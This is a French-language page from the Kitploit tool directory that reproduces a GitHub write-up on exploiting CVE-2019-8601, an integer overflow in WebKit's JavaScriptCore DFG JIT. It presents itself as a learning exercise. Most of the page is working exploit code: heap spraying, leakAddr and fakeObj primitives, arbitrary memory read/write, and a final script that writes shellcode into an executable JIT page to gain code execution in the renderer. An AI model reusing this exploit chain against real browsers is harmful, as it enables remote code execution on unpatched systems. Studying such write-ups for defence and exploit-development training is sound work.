Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-8601 — Exploitation d'une vulnérabilité corrigée dans JavaScriptCore | Kitploit
Outils/GitHubGitHub/badaccess11/cve-2019-8601
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubbadaccess11/cve-2019-8601

CVE-2019-8601

Exploitation d'une vulnérabilité corrigée dans JavaScriptCore

Voir le dépôt
173il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploitation de CVE-2019-8601

Ceci est un exploit pour une vulnérabilité WebKit qui a été découverte à l'origine par Fluoroacetate lors de la compétition pwn2own à Vancouver. Bien que je n'aie pas découvert ce bogue, j'ai écrit cet exploit pour pratiquer mes compétences en développement d'exploits. L'article original sur cet exploit est ici de Zero Day Initiative. Bien que cet article soit très bon et ait été déterminant pour m'aider à comprendre la vulnérabilité, il est du point de vue de quelqu'un qui vérifie la vulnérabilité. J'ai trouvé que certains détails clés manquaient lors de la tentative d'ingénierie de cet exploit à partir de zéro et j'espère combler certaines lacunes que l'article ZDI a omises et acquérir des compétences pratiques sur la façon d'ingénieriser un exploit complexe à partir de zéro.

Étapes de l'exploitation

Ces étapes servent de plan pour obtenir une exécution de code arbitraire dans JavaScriptCore (JSC), le moteur JavaScript de WebKit

  • Identifier la vulnérabilité
  • Déclencher la vulnérabilité et provoquer un crash avec ASAN activé
  • Obtenir les primitives leakAddr et fakeObj
  • Corrompre le butterfly d'un tableau pour obtenir des primitives de lecture et d'écriture
  • Utiliser les primitives de lecture et d'écriture pour exécuter du code arbitraire dans JSC

Identification de la vulnérabilité

La vulnérabilité qui sera exploitée est un dépassement d'entier qui se produit dans le code produit par le compilateur just in time (JIT) DFG pour WebKit. Cela se produit spécifiquement dans la fonction compileNewArrayWithSpread. Cette fonction sera appelée lorsque du code utilisant la syntaxe de décomposition JavaScript pour créer un nouveau tableau est compilé à la volée (JITé) par DFG.

compileNewArrayWithSpread

Dans le code JITé, il calcule d'abord la taille du tableau. Il le fait en ajoutant la longueur de chaque argument passé au constructeur du tableau. Lorsqu'il calcule la taille pour chaque addition, il vérifie un dépassement de la taille. Après cela, il appelle la fonction compileAllocateNewArray en passant la longueur qui a été calculée dans cette fonction.

compileAllocateNewArrayWithSize

compileAllocateNewArray passe ensuite la longueur calculée précédemment à emitAllocateButterfly.

emitAllocateButterfly

emitAllocateButterfly décale ensuite la taille de 3 bits vers la gauche, ce qui équivaut à la multiplier par 8. Cependant, il n'y a pas de vérification de dépassement et par conséquent un nombre comme 0x20000001 peut déborder à 0x8

Ce programme C illustre cette vulnérabilité :

overflow-example2

overflow-example

Nous pouvons utiliser cette vulnérabilité pour tromper le moteur JavaScript en lui faisant croire que nous avons alloué un tableau de taille 0x20000001 alors qu'en réalité seulement assez d'espace pour 1 JSValue (8 octets) a été alloué. Cela entraînera une primitive de lecture et d'écriture hors limites (OOB) qui pourra ensuite être exploitée pour obtenir une lecture/écriture arbitraire et finalement une exécution de code à distance (RCE).

  • Identifier la vulnérabilité

Déclenchement de la vulnérabilité avec ASAN

Afin de confirmer que nous avons une lecture OOB, nous allons essayer de déclencher cette vulnérabilité sur une version de JSC avec address sanitizer (ASAN).

Pour ce faire, depuis le répertoire WebKit, nous pouvons exécuter les commandes :```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug

root@kitploit:~
Cela construira une version de débogage de JSC avec ASAN activé, ce qui nous permettra de vérifier si nous avons ou non déclenché la vulnérabilité avec succès.

Voici la première itération de exploit.js```javascript
function jitMe(array){
  return [...array]
}

let dummy = [1.1]
for(let i = 0; i < 200; i++){
  jitMe(dummy);
}

let a = []

let len = 0x20000001                                                                     

for(let i = 0; i < len; i++){
  a[i] = 1.1 
}

jitMe(a)

Lors de l'exécution, j'obtiens l'erreur suivante :

Program terminated with signal SIGKILL, Killed. The program no longer exists.

Mon intuition était que trop de mémoire était consommée en essayant d'allouer un tableau aussi grand. Pour le confirmer, j'ai ajouté un point d'arrêt dans le code JITé en appelant m_jit.breakpoint() à l'intérieur de compileNewArrayWithSpread, ce qui ajoute une instruction int3 au code JITé.

Après avoir ajouté le point d'arrêt, je me suis aperçu qu'il n'était pas atteint, et j'ai alors décidé de tester une longueur de 0x20001. J'ai ensuite réalisé que le code n'était même pas compilé, j'ai donc ajouté plus d'itérations pour activer le compilateur DFG.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }

let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000001

for(let i = 0; i < len; i++){ a[i] = 1.1 }

jitMe(a)

root@kitploit:~
Tester le programme tel quel mène toujours au SIGKILL cependant, lors des tests avec une longueur plus petite, le point d'arrêt est atteint. À ce stade, il me semble toujours que JSC manque de mémoire lors du traitement de ce tableau énorme.

Pour résoudre ce problème, j'ai décidé d'allouer un tableau `a` plus petit, puis d'utiliser la syntaxe de décomposition pour l'employer plusieurs fois lors de la création du tableau corrompu, ce qui donne le fichier exploit.js suivant```
function jitMe(array){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}

let dummy = [1.1]
for(let i = 0; i < 100; i++){
  print(i)
  jitMe(dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

jitMe(a)

En utilisant ce code, nous avons pu atteindre le point d'arrêt sans SIGKILL ! Comme c'est souvent le cas, la résolution d'un problème en a révélé un autre, et nous avons reçu un SIGABORT à la place... En utilisant la commande bt de gdb, nous voyons que operationNewArrayWithSize a été appelée, qui elle-même a appelé create.backtrace1

Il semble étrange que notre code JITé appelle operationNewArrayWithSize ; cela signifie que le code JITé a dû emprunter un chemin lent vers le moteur JavaScript pour une raison quelconque.

slowcases

Nous pouvons voir dans compileAllocateNewArrayWithSize qu'il y a effectivement un basculement vers operationNewArrayWithSize. Nous devons alors trouver pourquoi exactement nous basculons vers le cas lent.

Nous voyons que dans compileNewArrayWithSpread, shouldConvertLargeSizeToArrayStorage est défini sur faux et que ce chemin lent ne sera pas dans le code compilé.compileNewArrayWithSpread2

Par conséquent, il est logique que le chemin lent soit touché quelque part dans emitAllocateJSObject.

emitAllocateJSObject

emitAllocateJSObject appelle emitAllocateJSCell, qui à son tour appelle emitAllocate.

emitAllocate

emitAllocateWithNonNullAllocator

Sans connaissance du fonctionnement de l'allocateur WebKit, cela semble assez déroutant. J'ai donc décidé d'ajouter quelques points d'arrêt et de parcourir le code pas à pas dans gdb.

Après avoir atteint un point d'arrêt défini dans emitAllocateVariableSized, qui a été appelée par emitAllocateButterfly, nous voyons le code assembleur suivant :assemblyEmitAllocateVariableSized

Ce qui correspond au code émis par le compilateur JIT ici :emitAllocateVariableSized

Nous pouvons voir que la taille d'allocation est ajoutée à 0xf, puis décalée de 4 bits vers la droite. Elle est ensuite comparée à 0x1f6, ce qui correspond à la branche du chemin lent. Ensuite, l'allocateur de sous-espace est déplacé dans rsi et un index est fait dans ce pointeur en fonction des calculs effectués. Nous continuons jusqu'au point d'arrêt placé dans emitAllocateWithNonNullAllocator pour trouver le code assembleur suivant :

assemblyEmitAllocateWithNonNullAllocator.png

Ce qui correspond au code émis par le compilateur JIT ici :emitAllocateWithNonNullAllocator

Maintenant que nous avons parcouru une partie de l'assembleur, nous avons un peu plus de contexte sur ce qui se passe. En avançant de deux instructions supplémentaires, nous voyons que nous allons prendre le saut :

stepFoward2

En regardant le code C++, nous pouvons en déduire que cela signifie qu'il ne reste plus d'espace dans la liste libre de cet allocateur, donc il va emprunter le chemin pop.

jumpPerformed

En effectuant le saut et en exécutant les deux instructions suivantes, nous voyons que le saut est pris, ce qui correspond directement à l'emprunt du chemin lent. Nous empruntons le chemin lent parce que le secret de l'allocateur est XORé avec la tête brouillée de l'allocateur et que le résultat est nul. Sans plus de connaissances sur l'allocateur WebKit, il est difficile de comprendre exactement ce qui se passe.

Bien que j'adorerais passer plus de temps à étudier l'allocateur WebKit, j'ai pensé qu'une façon plus simple de procéder serait d'essayer quelques idées et de voir si elles aboutissent à des résultats différents, puis de déboguer à partir de là.

Une des idées que j'ai eues a été d'allouer un tableau de taille 0x10, car cela sera dans la même taille de pas d'allocation que notre tableau qui déclenchera la vulnérabilité, puis d'appeler jitMe avec un tableau de taille 1. Puisque nous connaissons l'adresse de l'allocateur, nous pouvons définir un point de surveillance sur les valeurs qui mènent aux branches et voir quand elles changent. J'ai eu cette idée en pensant qu'allouer un objet qui sera dans la même taille de pas pourrait amener l'allocateur dans un état différent plus intéressant. Cela mène à l'itération suivante de exploit.js.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array] }

let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){ a[i] = 1.1 }

let x = new Array(0x10) let b = [1.1]

jitMe(b)
jitMe(a)

root@kitploit:~
Tester cette idée a fonctionné !![worked!](https://assets.kitploit.com/production/public/readmes/15542/05b994ba516d740408e446b0607e913623d257b6a0994ff6da314c3cbd93c484.png)

Nous pouvons voir que lors du test de `jitMe` sur le petit tableau, nous n'empruntons pas le chemin lent ! Nous plaçons ensuite un point d'observation sur r8 + 0x18 pour voir quand cette valeur est mise à zéro.  Après avoir atteint le point d'observation, nous obtenons la trace d'appel suivante :

![watchpoint](https://assets.kitploit.com/production/public/readmes/15542/2ef7158ff792a2cdc12b883671e2ea9ab3d00893fb0c2a56f706040d3ba90563.png)

D'après les noms des fonctions dans la trace d'appel, il semble qu'une opération de collecte des ordures soit effectuée, ce qui met à zéro les valeurs de `secret` et `scrambledHead`.

D'après la pile d'appels, nous savons que l'appel à `tryCreate` dans `createFromArray` est responsable du déclenchement de la collecte des ordures.

![TryCreate](https://assets.kitploit.com/production/public/readmes/15542/13ab70debb8103d94fd04c6f4c352153f0096f797c089cc6bb957527842aca78.png)

À l'intérieur de `createFromArray`, il va également boucler et accéder à chaque élément, et si nous pouvons intercepter l'appel pour obtenir et réinitialiser l'allocateur, nous pouvons l'empêcher d'emprunter le chemin lent.

exploit.js:``` 
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

let dummy = [1.1]
for(let i = 0; i < 80; i++){
  jitMe(dummy, dummy);
}

let a = []

let len = 0x20000010 / 0x10

for(let i = 0; i < len; i++){
  a[i] = 1.1
}

let b = [];
b.length = 1;

b.__defineGetter__(0, () => {
  let x = new Array(0x10)
})

jitMe(a, b)

Donne nous une erreur ASAN !

  • Déclencher la vulnérabilité et faire planter avec ASAN activé

Heap Spraying pour obtenir des allocations chevauchantes

Maintenant que nous pouvons déclencher la vulnérabilité de manière fiable, nous aimerions utiliser notre primitive OOB R/W pour corrompre davantage la mémoire et obtenir une primitive de confusion de types. La première étape consiste à recompiler JSC avec ASAN désactivé. Après cela, nous relançons exploit.js et obtenons le crash suivant

succès !

Nous pouvons voir que nous corrompons ceci pour pointer vers 0x3ff299999999999a lorsque nous utilisons le module python struct pour convertir la valeur flottante 1.1 en octets, nous obtenons exactement ce à quoi nous nous attendions : 0x3ff299999999999a struct

Maintenant que nous voyons que nous avons réussi à corrompre la mémoire, nous devons faire du heap massaging pour transformer cela en une confusion de types. L'idée sera de pulvériser (spray) un certain nombre de ArrayWithDoubles et ArrayWithContiguous et de corrompre la longueur du butterfly afin de pouvoir accéder hors limites avec ces tableaux et obtenir une confusion de types. Espérons qu'allouer suffisamment de tableaux empêchera l'accès hors limites de corrompre des valeurs importantes.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)

root@kitploit:~
Après avoir pulvérisé ces tableaux, ils seront écrasés avec les données de `badArray`. Cela empêchera cependant   un défaut de segmentation après avoir écrit hors limites. Pour obtenir un tableau corruptible, nous pouvons allouer trois tableaux supplémentaires, un ArrayWithDouble, suivi d'un ArrayWithContiguous, puis d'un ArrayWithDouble. Une fois que nous corrompons le tableau, nous pouvons écrire un objet dans le ArrayWithContiguous et le lire depuis le ArrayWithDouble pour créer une confusion de type et lire une adresse. De plus, nous pouvons écrire une adresse dans le second ArrayWithDouble et la lire depuis le ArrayWithContiguous pour obtenir un faux objet à une adresse spécifiée.

En implémentant cela, nous obtenons :```
function jitMe(array, reInitAllocator){                                                                                            
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice(); 
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice(); 

// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}

  • Obtenir les primitives leakAddr et fakeObj

Obtenir des primitives de lecture/écriture arbitraires

Maintenant que nous disposons d'un objet factice et d'une primitive de fuite d'adresse, notre prochain objectif est d'obtenir des primitives de lecture/écriture arbitraires. Notre stratégie générale consistera à créer un objet factice et à pointer le papillon sur le papillon d'un ArrayWithDouble, puis à écrire dans ce papillon l'adresse que nous voulons lire ou écrire. Cette technique est utilisée lors de l'exploit original et est mentionnée par saelo dans cet article.

Cependant, avant de pouvoir le faire, je suis tombé sur une erreur inattendue. J'ai constaté qu'après avoir ajouté une certaine quantité de code à l'exploit, le déclenchement de la vulnérabilité ne fonctionnait pas et j'atteignais le chemin lent, provoquant une exception de mémoire insuffisante.

Pour résoudre ce problème, j'ai découvert que je pouvais traiter le code à exécuter comme une chaîne de caractères et appeler la fonction eval de JavaScript. Pour une raison quelconque, cela a permis de contourner ce problème.

Pour configurer notre objet factice, nous avons besoin qu'il ait un ID de structure valide. Pour ce faire, nous pulvérisons un grand nombre d'ID de structure et définissons le nôtre sur un ID de structure prévisible.

Pour écraser le papillon du ArrayWithDouble, nous devons être capables d'indexer sur le papillon cible. Pour ce faire, nous continuons à allouer des tableaux jusqu'à ce que l'adresse soit supérieure à l'adresse de l'élément du milieu du tableau des ID de structure pulvérisés. Nous définissons ensuite le papillon de notre objet factice comme étant cet élément du milieu et nous indexons dans le papillon de l'objet factice pour définir le papillon cible.``` function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator] }

print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }

let b = []; b.length = 1;

let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }

// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }

b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();

//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)

function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }

function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;

function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }

function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }

print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }

// make sure target is ArrayWithDouble target[1] = 1.1

print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }

print("[+] Got R/W primitive") `

eval(postTrigger)

root@kitploit:~
- [x] Corrompre le butterfly du tableau pour obtenir des primitives de lecture et d'écriture

### Atteindre l'exécution de code arbitraire au sein du processus de rendu

Maintenant que nous avons une primitive de lecture/écriture, tout ce que nous devons faire est d'écraser une page JIT avec un shellcode personnalisé. Nous écrasons la page JIT car ce sera probablement la seule zone mémoire qui sera mappée en RWX dans le processus. Bien que nous puissions plutôt réaliser une chaîne ROP et un pivot de pile pour mapper une région mémoire en RWX et exécuter notre shellcode, cela s'avère être beaucoup plus simple.

Pour écraser la page JIT, nous avons d'abord besoin d'une fonction JITée. J'ai choisi d'utiliser la fonction `jitMe` que nous avons utilisée pour déclencher la vulnérabilité. À partir de là, j'ai utilisé gdb pour suivre les pointeurs dans cet objet jusqu'à ce que j'atteigne la mémoire contenant le code JITé. Il est à noter que ces décalages de pointeurs sont très spécifiques à cette version de WebKit et qu'il est probable qu'ils changent à l'avenir. Cela ne devrait pas être pris en compte lors de l'écriture d'un exploit destiné à fonctionner sur plusieurs versions de WebKit.

Après avoir trouvé le pointeur vers la page JIT, nous devons écrire un shellcode pour faire apparaître une calculatrice. Ce shellcode peut être vu ici :

![shellcode](https://assets.kitploit.com/production/public/readmes/15542/13047bf6155bec046fb0362984aa037f26a004ffd86d5aee3984c91a9f6f7ec6.png)

Nous devons ensuite assembler le shellcode, extraire les octets et les convertir en floats que nous pouvons écrire à l'aide de notre primitive R/W.

Cela nous donne le exploit.js final :```
function jitMe(array, reInitAllocator){
  for(let i = 0; i < 0x4000; i++){
    let x = 1 + 1
  }
  return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}

print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
  jitMe(dummy, dummy);
}

dummy = 0

let a = []

let len = 0x20000010 / 0x10

print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
  a[i] = -3.7206620809969885e-103;
}

let b = [];
b.length = 1;

let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []

print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
  arrayWithDouble[i] = 2.0286158381253047e-252
}

// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
  arrayWithContiguous[i] = {}
}

b.__defineGetter__(0, () => {
  for(let i = 0; i < 0x8000; i++){
    // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
    if(i % 2 == 0){
      // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
      sprayedArrays[i] = arrayWithDouble.slice();
    }else{
      sprayedArrays[i] = arrayWithContiguous.slice();
    }
  }
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)


// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();

// helper arrays to do float and integer conversions

let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)

function i2f(num) {
  i[0] = num % 0x100000000
  i[1] = num / 0x100000000
  return f[0]
}

function f2i(num) {
  f[0] = num
  return (i[1] * 0x100000000) + i[0]
}

print("[+] Getting leakAddr and fakeObj primitives")

let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1

badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;

function leakAddr(obj) {
  sprayedArrays[1][0] = obj;
  let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
  return f2i(floatAddr);
}

function fakeObj(addr) {
  let floatAddr = i2f(addr)
  sprayedArrays[2][0] = floatAddr
  return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []

for(let x = 0; x < 0x400; x++){
  let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
  struct['addNewStructureId'+x] = 0x1337
  sprayedStructureIDs[x] = struct;
}

print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};

// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)

while(targetAddr < baseAddr){
  target = []
  targetAddr = leakAddr(target)
}

target[1] = 1.1

print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)

let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))

function setTargetButterfly(address) {
  hax[targetButterflyIndex] = i2f(address)
}

print("[+] Got R/W primitive")

var myJitAddr = leakAddr(jitMe)

setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])

print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229

print("[+] Executing Shellcode...")

jitMe([13.37],[13.37])
`

eval(postTrigger)                 

Enfin, une vidéo de l'exploit en action !

Conclusion

Cela montre, espérons-le, comment vous pouvez prendre un n-day de JSC et développer un exploit pour celui-ci. J'ai bénéficié du compte rendu de la Zeroday Initiative. Bien que je l'aie utilisé lors de la rédaction de l'exploit, j'ai essayé de ne prendre que les idées principales et de réaliser l'implémentation par moi-même sans consulter le compte rendu.

Cet exploit n'est qu'une preuve de concept et n'est pas aussi robuste qu'il pourrait l'être. Bien que je n'aie pas rencontré d'échecs, il y a toujours du travail à faire pour l'améliorer. Comme je l'ai fait dans le cadre d'une expérience d'apprentissage, je ne me suis pas soucié de rendre l'exploit aussi robuste que possible.

Télécharger l’outil